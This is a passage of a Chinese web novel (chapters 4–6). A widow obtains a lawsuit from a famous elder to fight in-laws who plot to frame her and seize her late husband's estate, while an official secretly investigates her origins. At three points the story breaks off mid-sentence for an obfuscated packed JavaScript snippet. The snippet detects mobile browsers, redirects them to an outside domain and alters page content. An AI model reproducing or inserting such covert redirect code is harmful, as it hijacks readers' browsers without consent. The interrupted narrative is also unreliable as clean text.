穆长舟冷幽幽的目光在甄顺脸上扫过,怀疑先前巡察司送来的文卷,被这碎嘴子就着饭食吃下去了。 “无妨,叫她们先给你找个媳妇,最好是倒插门。” 甄顺:“……” 4. 第 4 章 甄顺从小就跟在穆长舟身边,对自家郎君冷不丁的‘幽默’早习惯了。 尤其见郎君这么嫌弃他,想也知道是他犯了蠢。 甄顺突然记起先前打眼扫过的文卷,记起袁翁没有闺女的事儿来了。 他不可置信看向赵瑞灵她们跑开的方向,捂住了胸口。 “人心怎能如此险恶……我往后再也不信女娘的嘴了呜~” 穆长舟懒得理他,说得跟他能经常见到女娘的嘴一样,只面无表情催促。 “快点,追不上我亲自给你挑个妻主!” 甄顺捧胸自闭的时候,赵瑞灵和阿桥一路小跑,终于顺利到达袁宅门前。 其实只要走对了巷子,袁宅很好找。 周围都是普通人家,门楣上都没有挂牌匾的,只袁家门前挂着块老桐木的旧匾额,上面铁书银钩‘袁宅’二字。 赵瑞灵和阿桥对视一眼,都有点紧张,生怕一会儿敲开门就有人跟撵鸡一样把她们给撵走。 但出乎两人意料,阿桥刚抬起手拉起门上的铜环,门突然就开了。 一个挎着篮子的高壮老翁,一只眼上还戴着眼罩,脸庞又长得格外凌厉,只撩起眼皮子看过来,就叫阿桥吓得蹬蹬蹬几步退到了台阶下头。 她跟赵瑞灵挤在一起,手攥着手,跟两只鹌鹑一般,缩着脖子瞪大眼看着这边。 要么说仆人肖主呢,阿桥的胆儿……反正她先前还酝酿着要跟于老七家同归于尽的煞气,在这老翁跨出门槛的瞬间,消失了个干干净净。 赵瑞灵也在心里骂地底下的夫君,怎么不说袁宅还有这样的镇宅老翁,如此可怖。 他若是一刀劈过来,她怕是连躲都不敢。 俩人正哆哆嗦嗦,那老翁也叫她们俩唬了一下,猛地后退一步,嚯嚯出声。 “娘咧,什么鬼东西!” “咋的,我家郎君阳寿到啦?我就知道这肚儿里没个好屁的活不长!” 阿桥:“……”好的,在人家眼里,她和娘子这狗皮膏药的打扮估计更吓人。 赵瑞灵深吸口气,抖着胆儿将脸上的膏药揭下来,没了在甄顺面前时的张扬劲儿,上前怯生生行了叉礼。 “这位……阿翁,我,我是于泓的未亡人赵,赵氏,本不该前来叨扰,实是有攸关性命的大事求见袁翁,恳请您给通传一下可以吗?” 独眼老翁挠了挠眼罩,在门里拽住绳子摇了摇铃,而后侧开身子。 “啊,那什么,你自己进去呗,家里米缸空了,也没什么菜了,无论如何不能饿死我们郎君,我去买点菜。” 说完他就走了,大门敞开地走了…… 赵瑞灵望向同样懵逼的阿桥,这么着就能进去了? 说好的难以拜见,每天就见三两人呢? 她小声嘀咕:“阿兄不会是骗我玩儿的吧?果然,男人说的都是鬼话,往后我再也不信了!” 阿桥翻个白眼,信不信的郎君人都没了,往后要还能听见肯定是鬼话。 “快点吧,写完诉状咱们还得去拜见郎君的夫子,求人家给咱们请讼师,要是咱们太久不回去,于家老媪肯定要闹腾。” 于老七家为了稳住赵瑞灵和于旻,免得两人破罐子破摔,也不想背负欺负孤儿寡母的名声,先前行事并未太过。 于老媪上门后,假惺惺地说给赵瑞灵时间考虑,跟个背后灵一样天天盯着阿桥进出。 赵瑞灵得了风寒,于老七家也没急着上门。 但赵瑞灵和阿桥都知道,以于老七和他那老子娘的性子,等不了太久了,也就这几天。 若赵瑞灵再不给答复,只怕对方的招数就没那么温和了。 赵瑞灵赶紧跟阿桥一起进门,带着几分谨慎规规矩矩进了正院。 屋里没人出来,赵瑞灵只好在天井里出声。 “于泓未亡人赵氏灵娘,特来拜见……” “进来!”左侧一扇窗户突然被推开,留着花白美须的老翁探出头来道。 目光在赵瑞灵黄一块白一块的脸上顿了下,他‘啪’一声又把窗户关上了。 赵瑞灵讪讪用帕子擦了擦脸上的水粉,留下阿桥在门外守着,自个儿进了门。 知道对方可能不愿看见她这张花里胡哨的脸,赵瑞灵一进门就低着头跪下。 “灵娘拜见袁翁,求袁翁救命,灵娘愿奉上于家所有家财,只求平安。” 袁修永轻嗤了声,他要那么多黄白之物作甚? 生不带来死不带去的,进了地底下还勾着盗墓贼来光顾。 但他也没说不要,只问:“某与于泓不过几面之交,见他还有点灵气,随意聊过那么几句,并无师生情谊,却有指点之功,这会子碰上麻烦又来找我,我欠你们家的?” 赵瑞灵一点也不意外袁修永的毒舌。 于泓说过的。 她心下腹诽,说是指点,实是阿兄被劈头盖脸骂过几场。 她想起这一年多以来于老七那恶心人的觊觎眼神,还有于老媪的多番窥探,又有对前路迷茫的惶恐,轻轻抽噎了起来。 她小声解释了自己的困境,声音哽咽,“若非实在走投无路,灵娘绝不敢来搅扰袁翁。” “灵娘进庙里做姑子或追随泓郎去了也算一了百了,只可怜我婆家留下的幼弟,哪怕将家财献出去,他一介髫龄小儿也没个活路,灵娘只能多贪恋些红尘。” 她说着说着眼泪掉了下来,微微抬头间,眼角余光瞥见袁修永捏着酒盏吸溜,听得挺带劲儿,丝毫没有怜悯之情。 她胸口的悲切不自觉噎了下,再说话却呜呜咽咽更加凄惨。 “呜……可那于老七伙同于氏一族却丧了良心,不肯给灵娘和阿旻活路啊!” “呜呜……于老七贪于家家财,更欲行不轨之事,于氏一族要让我婆家断后呜~” “呜呜呜……灵娘日夜忧思,也只能来求您一纸诉状,只求能将幼弟抚养成人,以慰泓郎和公婆在天之灵了呜呜~” 袁修永是经历过乱世的,多悲惨的事儿他没见过? 如今上了年纪,心胸之间留下的不过是千帆过尽后的无聊,本只将赵瑞灵的话当个故事。 结果他听得正起劲儿呢,就听得赵瑞灵这一哭三叹,哭得他微醺的酒劲儿都沾染了聒噪,脑仁儿一鼓一鼓地疼。 他捏捏额角,不耐烦地啧了声,“这涉及女子名节的事儿,你叫我一个大老爷们儿如何掺和!” “没得某拼了一辈子好不容易才得几分安宁,要坏在你这个小娘子身上。” 赵瑞灵抹着眼泪,怯生生抬起头,露出哭得花猫一样的脸,眼神有些许不认同。 “灵娘知道此事有些为难袁翁,可袁翁您是……袁翁啊!” 看起来都快七十的老翁了,谁会把这位老祖宗级别的人物当个大老爷们看。 湖州府谁人不知袁大家,据说他的孙辈还有在其他州府为官的,总不会做什么坏了家族名声的事儿。 其他人就更怕亵渎了袁大家的清名……最重要的是害怕被袁翁的孙儿们清算。 以袁修永的丘壑,当然听得出这小娘子话里的深意,瞪圆了那双苍老的眸子,直瞪得赵瑞灵缩着脖子继续哭,蓦地笑了出来。 “我说你这小娘子,这是骂我想多了就是个老不修啊!”他越说越气得笑不停。 年纪大怎么了,干不了啥还非要闹出点腌臜事儿来的老翁,大昭不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630243|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多少。 “哦,你这要献出家财,是打量着我没心力娶新妇,也只能拿你家家财安慰安慰自己了是吧?” “就没见过你这种上门求人,还敢明刺暗讽救命恩人的小娘子!” 赵瑞灵本来被骂得有些蔫儿,听到最后一句,突然一个支棱,眼神猛地亮了起来。 她赶紧给袁修永叩头,大声道:“灵娘多谢袁翁救命之恩,怎敢用黄白之物侮辱您的清白!” “只恳求您替阿旻保管一二,待将来他继承兄长遗志,必当衔草结环报答您的大恩大德!” 袁修永彻底被噎住了。 好家伙,所以这小娘子连家财都不愿意舍出来,只是交给他保管,省得叫外头的虎狼惦记。 哦,等于泓那小子的弟弟长大后,还叫那小郎自己报恩,她这嫂子是什么人情债都不欠,到时候还能等着小叔子孝敬。 果然如于泓所说,他家这新妇聪明,可给她聪明坏了! 要真叫她进了庙里,或是悬了梁,世间又要少一个满肚子坏水儿的,实在可惜。 他哼笑着起身,“行,某就帮你一次,回头把你家那小子送到我这儿来,不敢劳动你这小娘子,某自个儿把牛马训出来就是了。” 赵瑞灵:“……”果然如阿兄所言,这位袁翁哪儿都好,就是嘴忒刻薄。 可她不会误会袁修永的好意。 于旻若能拜他为师,往后于氏族里怕是也要忌惮三分,不敢再惦记着欺负人。 她赶忙千恩万谢地又拜了下去。 袁修永没理她,直接起笔。 他本就是诗书画全才,当年天下大乱实在无法安静修心养性,才奔出家门去不务正业,给先圣和圣人做了十几载军师。 如今写一纸诉状是手拿把掐的事儿,连想都不用想,一盏茶功夫就洋洋洒洒写满了一张绢帛,扔给赵瑞灵。 “行了,走吧!到大门口,把门后的木牌子挂到门外,官司没赢之前不必再来见我了。” 赵瑞灵欢喜又感激地轻诶了声,沙哑着软乎乎的小嗓音恭敬告退出来。 阿桥赶忙迎上来,赵瑞灵强忍着激动冲她点点头,成了! 袁大家写的诉状,于泓的夫子只要从中牵个线,保管会有许多讼师争着抢着接她的官司。 回头只要找到机会,带着阿旻一起去敲响登闻鼓,他们一家三口的命应该就算是保住了! 阿桥比赵瑞灵还激动,她没娘子身段儿好,更不如娘子唱作俱佳,去了烟花柳巷估计连口饭都 吃不上。 如今总算是不用被发卖,别说做饭干活喂鸡了,就是把饭替自家娘子吃到肚儿里她都乐意! 主仆俩欢天喜地擦着脸儿,来到大门口,一个去取门上挂的木牌,一个去开门闩。 赵瑞灵取下牌子,翻过来一看,上头就写着一句话—— 「已饿死有事烧纸」 赵瑞灵扑哧一声笑了出来,出来大门挂牌子,还扭头跟阿桥笑着嘀咕。 “幸亏咱们抢在前头来了,要是先前那老翁出来关了门,只怕也得看这牌子……你眼睛抽了?” 阿桥尴尬地冲赵瑞灵摇摇头,又熟练地缩起脖子看向赵瑞灵身后。 赵瑞灵一回头,就见先前那辆被她支使走的马车,如今好端端停在袁宅门口。 车辕上甄顺盘腿坐着,抱着胳膊冲她俩冷笑。 “两位阿婶给袁翁外孙女的媒说完了?” 他身后的马车帘子掀开着,里头端坐着一个看不清容貌的高大身影,活似一尊黑熊坐在里头,分外吓人。 偏赵瑞灵刚把牌子挂好,先前的话也被穆长舟和甄顺听了个正着,着实尴尬得很。 5. 第 5 章 “那个……咳咳!”赵瑞灵含混着开口,轻咳几声缓解尴尬,声音在甄顺的冷笑中不自觉变小。 “人为财死,鸟为食亡,骗人也正常,你们明儿再来……” 甄顺被噎地翻了个白眼,这小女娘骗人还一套一套的。 穆长舟定定看着脸上还花里胡哨的赵瑞灵,没了那几块狗皮膏药,倒也看得出赵瑞灵格外精致的五官。 她的容貌让穆长舟隐约觉着熟悉,加上她刚从袁宅出来,穆长舟心下猜测,她大概是跟袁家一样曾从龙入过圣都的故旧之后。 穆长舟弓着身子起身下马车,牵动了背后的刀伤,引得他微微皱眉。 他不动声色控制住表情,自觉温和地下来马车,站到台阶前。 可看在赵瑞灵和阿桥眼里,却好似见到黑熊站起……哦不是,是黑熊变成了入凡的活阎王。 那伟岸身姿至少八尺有余,刀刻斧凿般深邃的面容上剑眉浓密,狭长丹凤眸幽暗深邃,明明穿着身宽松的居士圆领广袖长袍,却丝毫掩盖不住那股子狂野又犀利的冷漠。 赵瑞灵下意识后退,又不自觉跟阿桥挤在一起,变成了鹌鹑模样,惊恐看着抬起眼皮子看过来的穆长舟。 穆长舟顿了下,感觉出赵瑞灵的害怕,眉心微拧,努力放缓了声音。 “敢问这位娘子,叫什么……” 赵瑞灵被那低沉冷冽的声音吓得浑身一哆嗦,赶忙摆手。 “我,我,我没叫啊啊啊啊……我以后再不骗人就是啦!” 赵瑞灵都不知道自己说了什么,害怕这人过来打她,抱着讼状,抡起腿儿就跑。 阿桥很清楚自家娘子的德行,她也怵穆长舟这与南地人格外不同的冷硬,二话不说就跟上赵瑞灵。 她跑起来比赵瑞灵还快,甚至跑到了赵瑞灵前头。 还在车辕上摆阵仗的甄顺,看着主仆俩呜呜嗷嗷消失在巷子口,颇有些忍俊不禁。 “都说了郎君你不笑的时候跟阎王爷似的,瞧瞧这把人吓的,跟要去投胎一样。” 说罢,他还记得先前被人骗的事儿,对着穆长舟拍胸脯。 “这事儿交给我就是了,回头再见到这俩女娘,我先靠我这张平易近人的脸把人骗过来,再好好跟她们算算账!” 穆长舟无奈立在门前,仔细分辨了一下,确定那木牌子是袁修永所写,也不敲门,转身往回走。 听到甄顺念叨,他脚步不停,掏出自己的令牌扔给甄顺。 “给你这个机会,去一趟湖州府巡察司,一天时间,查一下刚才那两个女娘。” 甄顺呆呆接住穆长舟扔过来的令牌。 “不是,郎君,不至于吧?您是打算……” 他龇牙咧嘴在自己脖子上横着比划了一下。 “别总喊打喊杀的,我这活阎王的名声一半都是你们给我败坏的。”穆长舟刚才跳马车扯到了伤口,不耐烦地压下性子,缓缓重新登上马车。 甄顺撇嘴,反正他可没不耐烦了就拔剑劈宫里的案几。 他有些好奇:“那您查那俩女娘作甚?咱们不见袁翁了吗?” 穆长舟定定看了眼那块牌子,面无表情放下帘子。 “你家郎君我见色起意,暂时没心情办差,去客栈。” 如果他没记错,袁修永除了诗画双绝,还擅长奇门遁甲和占卜之数,说不准料到会有客自远方来。 以那小老儿的性子,既离了圣都,就没打算再回去,否则在朝为官的袁家大郎,也不会天天愁眉苦脸念叨着不能尽孝。 刚才那俩女娘有法子说服袁修永达成自己的目的,可以利用一下。 穆长舟从来不打无准备的仗,便也不急着去见袁修永了。 甄顺却把自家郎君的话当了真,目瞪口呆扭头看着放下的车帘子,好一会儿都感觉这太阳可能是打西边升起来的。 郎君瞧不上圣都那些貌美又家世尊贵的女娘,对俩泥巴地里长出来似的女娘见色起意? 郎君眼睛什么时候瞎的?? 甄顺先找了家客栈,伺候着穆长舟安置下,又跟见了鬼一样飘出了客栈,去办穆长舟交代的差事。 他出门的时候,赵瑞灵和阿桥彻底擦干净了脸,换回了先前的衣裳,带着两大包药,急匆匆跑回秀才巷。 她俩一在巷子口冒头,堵在于家门口的于老媪立马蹦了起来。 “你们两个小娘皮跑哪儿去了?” “于家二郎还病着呢,你们倒把个稚童扔家不管,不会是出去私会情郎去了吧!” 赵瑞灵在于老媪冲过来的时候,就赶忙缩着脖子躲到了阿桥背后,于老媪唾沫星子可臭了。 阿桥先前跑在赵瑞灵前头,这会儿有些理亏,只能接着于老媪的唾沫,只也不肯相让,免得坏了娘子的名声。 她提起药包大声嚷嚷:“你这老媪胡说八道什么呢!” “杏林堂过去负责给我家二郎看病的大夫去乡下了,我们去城门口等着秦大夫回来。” “这不,秦大夫特地给我家二郎开的药,别你自个儿觉得屎香,就以为别人也会去闻!” 于老媪气得仰倒,这小家奴是骂她是个畜生呢,反了她了! 她眉梢一吊,立马就要指着阿桥的鼻子骂。 里头照顾于旻的陈媪听见动静,出来制止。 “行了行了,别吵了!先给二郎退烧要紧!” “都是邻里邻居的,灵娘什么性子咱们大家都清楚,别堵这儿耽误阿旻治病!” 周围的邻里也都听见动静,探出头来看,赵瑞灵立马揉着眼睛,抽噎着躲开于老媪往家里跑。 “我给阿旻抓药,不管去哪儿都是我家的事儿,与于媪何干,招你这一顿编排呜呜……这不是欺负人嘛!” 于老七躲在门后,听着这边的动静。 于泓在秀才巷的名声很好,如果他阿娘摆大阵仗逼迫赵瑞灵,真要闹到公堂上去,邻里邻居给赵瑞灵做证,说不准会竹篮打水一场空。 他赶紧出门将于老媪拉回家,低声劝,“阿娘你别急,现在该急的是灵娘她们,这会子你为难他们,回头叫邻居误会。” “这阵子你勤快些往她家送些东西,回头阿旻病好了,你请官媒上门说亲当是正经。” “届时她若不同意,再把那小衣拿出来,说她早就委身于我,你才会勤往她家走动,她就是有嘴也说不清。” 于老媪一想到请官媒的谢媒钱,还有要送到于家的东西,心疼得跟割她的肉一样,实在是不乐意。 她沉着脸呸了一声,“就那骚狐狸似的小娘皮,还是个丧门星,于泓不在家我就瞧着她时不时勾三搭四的,如今我们小衣在手,何必要费那个谢媒钱!” 要不是寺庙里的大师说赵瑞灵八字旺她儿子,打死她也不同意这门亲事! 在她看来,她儿肯娶这水性杨花的寡妇,赵瑞灵就该烧高香了,回头她儿可是要考功名做官的! 于老七知道自家老娘的性子,继续劝。 “送到她们家的东西也不值几个钱,大不了叫灵娘伺候我几年,等我得了功名就休了她,将她跟阿桥一样卖到烟花柳巷,到时候花在她身上的银子就都回来了。” “您现在可不能省,我将来也是功名在身的人,且不能在这种礼节上被人诟病,否则回头人家会笑话咱家没规矩。” 于老媪在心里掰算了一下。 不得不说,就算她瞧不起赵瑞灵那狐媚样儿,也知道这小娘皮卖出去保管比阿桥值钱,这笔买卖不亏。 她骂骂咧咧了会儿,钻进厨下割了巴掌长的一块腊肉,想了想又切掉一半,在篮子底垫上些城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630244|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外采摘的野菜,将那小巧玲珑的腊肉高高托起,又往于家去。 阿桥在厨房里给于旻‘熬药’。 赵瑞灵艰难地缩在陈媪身后,含混着应付眼神到处寻摸,又明里暗里逼着她赶紧做决定的于老媪。 等好不容易将人都送走,天都黑了。 “阿嫂阿嫂,讼状写好了吗?我们啥时候去敲登闻鼓啊?”在被窝里捂了大半天的于旻,浑身汗淋淋地赶紧从被窝里钻出来,迫不及待地问赵瑞灵。 赵瑞灵也擦着额角被于老媪的唾沫星子吓出来的汗,一时没顾得上说话。 阿桥端着碗进来,开口道:“二郎你热了一天,先喝点解暑的药汤子,擦擦身上换身衣服,咱们慢慢说。” 于旻看到黑漆漆的药碗,小脸儿瞬间就耷拉下来,慢吞吞往床里缩。 “其实不说也行,我知道阿嫂和阿桥厉害,你们一出马,肯定是马到……马到……” 赵瑞灵翻个白眼,端起药碗哼笑着逼近于旻。 “是马到功成,叫你跟你阿兄读书,你总躲懒,若是身体再坏了,往后文不成武不就,我还怎么指望你孝顺我?快喝!” 三人笑闹了会儿,到底是逼着于旻喝了好几口药,给他塞了一块阿桥买菜时顺便买回来的蜜饯,这才凑在一起嘀嘀咕咕说话。 讼状赵瑞灵借着去城门口等秦大夫的功夫,已经给住在附近的于泓夫子周先生送过去了。 那位周先生一看袁翁写的讼状,得知自己最得意的学生身死后,妻弟被如此欺凌,气得浑身发抖,直道要亲自下场替于旻打官司,被赵瑞灵给劝住。 于老七家不敢得罪袁翁,赵瑞灵才敢去求袁修永帮忙。 可这位周夫子以教学生为生,最重要的便是名声,她不想将周夫子牵扯进来。 最重要的是,周夫子只会纸上谈兵,文采是有,真掉起律法来,实比不过那些舌灿莲花的讼棍们,也未必能说得过于老七那不要脸的货。 讼棍也要名声,一旦名声在外,就能别人尊称一声大讼师,恰逢袁大家给写了诉状,这种官司,有的是讼师愿意接。 赵瑞灵只拜托周夫子,帮忙分辨一下那些讼师们的德行,选个靠谱且有底线的讼师。 周夫子立马应了下来。 但讼棍常见,好讼师却不易得,怎么也得两三天时间慢慢挑选。 在周夫子送消息过来之前,甄顺顺利查清楚了赵瑞灵的背景。 他脸上已经完全没了被赵瑞灵坑过的愤愤,甚至多了几分唏嘘。 “那日咱们所见是主仆俩,主人赵瑞灵,仆从阿桥。” “赵瑞灵这女娘……小娘子真是够惨的。” “她七岁的时候,耶娘进山采药遇上了狼,她阿耶当场被狼咬死,阿娘也受了重伤,她阿耶还没过头七,阿娘就跟着去了。” “后来赵瑞灵被赵家夫妇的义兄一家子收养,于家大郎于泓小时候遇到拐子,是被赵家夫妇给救回来的,于家记赵家夫妇的恩,对赵瑞灵很不错。” “可惜于家两口子身体不好,六年前于家娘子生二郎于旻难产去世,半年后于家郎君也去世了。” “后头于泓撑起了门户,好不容易把弟弟拉扯大,待赵瑞灵及笄后两人成了亲,好日子都还没来得及过几年,于泓赶考路上患病,半路上人就没了……” 穆长舟翻看自巡察司那边送过来的绢帛,目光在赵瑞灵耶娘的情报上停了下。 二十年前赵虎生从山脚下带了个陌生的漂亮女娘归家,迎娶为新妇,成亲一载后生下赵瑞灵。 这时间着实有些巧。 先圣带兵自淮南道一路往关右道打过去,路过江南道,正是二十年前。 想起赵瑞灵那双让他熟悉的双眼,穆长舟目光一顿,定定落在了赵瑞灵阿娘的介绍上。 6. 第 6 章 甄顺念叨完,突然打了个哆嗦,瞪大眼喃喃出声。 “话说……这小娘子命够硬的啊!” 沾亲带故的,除了小叔子,死得也忒干净了。 穆长舟回过神,合上文卷,轻嗤。 “再硬能硬过我?” 他阿耶死得比赵瑞灵的阿耶还早,阿娘自请入庵堂清修,妻子嫁进来不足两年人就没了,养在妻家的儿子也病弱不似穆家子。 圣都那些叽叽歪歪的,最喜欢拿来攻歼他的就是什么天煞孤星,背后不知道嚼了多少舌根子。 甄顺呆了下,“那倒也是,您要娶了这小女娘,还指不定谁克死……哎哟!” 话没说完,甄顺屁股上就挨了一脚。 穆长舟慢条斯理收回长腿,抬起眼皮子撩甄顺一眼。 “叫你送到袁家的拜帖送过去了吗?” 甄顺讪讪擦了擦腚上,无奈道:“送过去了,但被门房给扔出来了,就俩字,不见。” 穆长舟扳指在折起的绢帛上轻敲几下,丹凤眸中没有任何意外,思绪又转回了绢帛上的内容。 如若赵瑞灵真如他所猜测,是前朝淮南道节度使,如今的英国公府谢家那位才绝娘子之后,以袁修永的占卜之数,是算出什么来了吗? 当年才绝娘子为救被敌军抓住意欲威胁先圣的太后,逃跑途中与太后换衣后被逼坠落山崖。 先圣着急往关内道进发,无法停留,留了一队人马连同谢家的家生子一起在附近寻找,没找到任何踪迹。 后来,先圣和太后,甚至当今圣人也为了太后,几番派出各路人马在满大昭寻人,始终不曾有消息。 众人都以为才绝娘子是被山崖下的野兽吃了,尸骨无存,才找不到。 近些年已经没人提起来了,只有太后每年还在才绝娘子失踪的那日去庙里为妹妹上香,心情抑郁。 不管赵瑞灵是不是才绝娘子之后,若能利用好这小娘子,他不但可以替太子寻回太子师,还不用与太后和英国公府交恶…… 穆长舟沉声吩咐甄顺:“去准备些见面礼。” 甄顺有点不乐意,“袁翁不会收的,我先前捡回拜帖又敲了一次门,差点被那门房老翁泼一身洗菜水,这差事怕是不好办。” 穆长舟重新取出一张拜帖,不假思索便往下落笔。 “不送去袁宅,送去于家,给赵灵娘。” 甄顺:“……”郎君还真对那小寡妇见色起意啊? 质疑自家郎君招子的话甄顺实在不敢问,他家郎君就算是受着伤,打死他也绝不比打死只鸡更困难。 翌日一大早,穆长舟让甄顺自己去于家送东西,他骑马又去了一趟袁宅。 敲开门,独眼老翁见是穆长舟,撮了下牙花子,冲他行了个叉礼。 “醇国公请回吧!” “我家郎君说他年老体弱,只想在此了此残生,实不想回圣都,那地儿死都死不清静。” 穆长舟目光在独眼老翁左手虎口和下意识防备的站姿上扫过,抬手还了一礼。 “老丈既认识穆某,想必先前跟狼覃军打过交道?” 独眼老翁侧着身子后退一步,避开穆长舟的礼,身子却挺拔如松。 “飞龙军上七所前折冲都尉袁大丰,二十三年前曾有幸得老醇国公指教枪法,凭此得以侥幸在冲都一战中留下性命。” 穆长舟了然,他阿耶出身陇右道枪道世家穆氏,一手长枪出神入化,早年得先圣看重,在军中指点过无数将士。 冲都一战,说的是大昭军三冲前荆朝京都,杀光荆朝皇室,改京都为圣都,改大荆为大昭的那场立国之战。 虽大昭胜了,可因荆朝的精锐都在京都,而先圣所带领的飞龙军、狼覃军和虎头军,兵卒数量和武器精良都不如大荆,是以惨胜之局杀入京都,死伤将士无数。 袁大丰的眼睛怕是就在那一战中伤了的。 对这种一眼就能看得出气场的老兵,穆长舟比对圣都那些文官耐心多了。 他将拜帖恭敬递过去,沉声道:“穆某不敢为难老丈,也不欲为难袁翁,只求一见,无论袁翁决定如何,穆某绝不强求。” 原本还挺拔坚韧的袁大丰,独目突然飘忽了下,表情有些尴尬地摸了摸鼻子。 “郎君说老醇国公是个老狐……能言善辩,比他还擅长玩弄人心,您只怕也不是好鸟……咳咳青出于蓝胜于蓝,他离家出走了,不跟您玩儿。” 穆长舟:“……”这小老儿就不怕他回到圣都,砍了袁家那瘦鸡一样的大儿? 袁大丰:“哦对了,郎君还说了,圣都的大郎随便您收拾,不够还有河南道的二郎,都砍了送回湖州府来,还能死得团团圆圆,也挺好。” 穆长舟唇角抽了抽,微笑颔首。 “有机会我会想办法实现袁翁的心愿,多谢老丈告知。” 他这话实在不好回,袁大丰又撮了下牙花子,讪笑着‘哐’一声把门关上了。 穆长舟确定了此路不通,便知先前进过袁家门的赵瑞灵,就是他仅剩的另一条路了。 不过那小娘子胆子时而豹子一般,时而鹌鹑也似,实不好拿捏,还是得想办法把人约到她跑不了的地方一叙,方有余地。 他直接回了客栈,准备问甄顺于家如今的情形,再看下一步该如何行事。 却不料他刚踏进客栈大门,还没下马,甄顺就嗖嗖跑过来,拽着他的缰绳往外走。 倒也不用穆长舟问,甄顺就跟倒豆子一样说了缘由。 “那小娘子着实胆大包天,我根本就没见着人,邻人说她带着小叔子敲登闻鼓去了!” “我打听到,说是被同族的夫家远房兄弟欺辱,意欲强娶,侵占于家家产,她替自个儿和小叔子打官司,这会儿怕是已经升堂了。” 他们速度快一些,应该能赶上现场看个热闹。 穆长舟微微挑眉,“先前让你查她,你怎么没查到这些?” 若还没升堂,他只靠帮于家解决这个困难,就能换个人情,也不必再费心该怎么说服那小娘子。 甄顺有些心虚,紧紧牵着马往前跑。 “我先前打听的时候,确实没听到有人提起啊,怕是那家子贪心的,私下里做了什么事儿威胁赵小娘子。” 两人刚到湖州府府衙前,就见有好些人围着衙门瞧热闹。 穆长舟耳力好,隔着人群也能隐约听到赵瑞灵凄切的陈词。 “妾初得知夫君病死他乡,悲恸过度,全靠邻里帮忙才浑浑噩噩为夫办了丧事。” “那段时间家中人来人往,有相□□人来往妾房中,以慰妾伤情,一时不察,竟令那于老媪得了空子,偷了妾小衣去。” “待妾亡夫忌日一过,于老媪登门,假此诬陷妾与于老七通女干,逼妾带着于家大半家产嫁于于老七。” 赵瑞灵掩袖抽抽噎噎哭得可怜,“妾幼时失怙,全靠公婆养大,与夫君青梅竹马,更亲自照料二郎如亲子,又如何舍得让二郎一个小儿独自过活。” “妾寻到了族长处,族长娘子话里话外说会让于老七家收养二郎,分明是打着将于家房产都霸占的心思。” “二郎是妾夫家仅剩的独苗了,妾实不敢信以阴私手段逼迫妾改嫁的人家能照顾好他,多番推拒,却得于老媪步步紧逼,日日到家中威胁谩骂,只能告上公堂,求个公道!” 于老媪气得在破口大骂:“你个遭了瘟的小娼妇休要满嘴胡沁,分明是你与我儿私通,勾得我儿非要娶你个丧门星!” “我拗不过我儿,只能上门给你送这送那,便是语气不好,也是不得不认你这新妇的憋气!” “我前前后后帮着你照顾病重的二郎,只等着二郎病好,就打算如你们的愿叫官媒上门。” “青天大老爷,您睁开眼好好看看啊!我好心喂出个狼心狗肺的下贱坯子,哄着于二郎撒谎学舌,诬陷我们清清白白的人家,也不怕叫雷劈死你!” 赵瑞灵被骂了也不分辨,只缩着身子跟于旻靠在一起微微颤抖,皆捂着脸哀哀哭泣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630245|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左右她该说的都说完了,接下来该是讼师的活计。 被周夫子特地寻到的讼师,品行不错,能力也有,又得了周夫子私下里塞的银钱,很是卖力,立刻舌灿莲花替赵瑞灵分辨起来。 于老七虽然是读书人,可书还没读明白,又被讼师拿着厉害刑罚吓唬,整个人都慌得厉害。 他着实没想到赵瑞灵如此豁得出去。 毕竟这小衣的事儿传出去,即便她是清白的,往后也少不了要被邻里街坊揣测。 此举更是彻底得罪了族长,往后于旻很可能会被逐出族谱,连于泓的坟都别想前去祭拜了。 她怎么敢!! 甄顺绑好马,跟着穆长舟一起挤到堂前角落里的空当,于老七已被讼师逼得汗如雨下,心里骂破了天,却喏喏不能言。 于老媪看赵瑞灵的眼神狠得,几欲剜她一块肉下来。 眼见讼师志得意满,转身请知州大人判罪,于老媪突然回忆起一桩往事,立刻死死拽住于老七的衣袖,另一只手抡圆了巴掌扇过去。 “我打死你这个被狐狸精勾没了魂儿的混账!” 于老七被扇倒在地,特别傻眼,不是,他阿娘疯了?! 赵瑞灵和于旻都被吓了一跳,缩着脖子瞪大眼看过去,落在穆长舟眼里,像极了一大一小两只吓呆的兔子。 穆长舟挑眉看向扑过去对儿子左右开弓的于老媪,隐隐笃定,这俩兔子怕是要输了。 于老媪不但打儿子打得凶,骂得更狠。 “都到这种时候了,你还要替她瞒着,往后你还怎么科考,于氏的脸面都要被你丢尽了!” 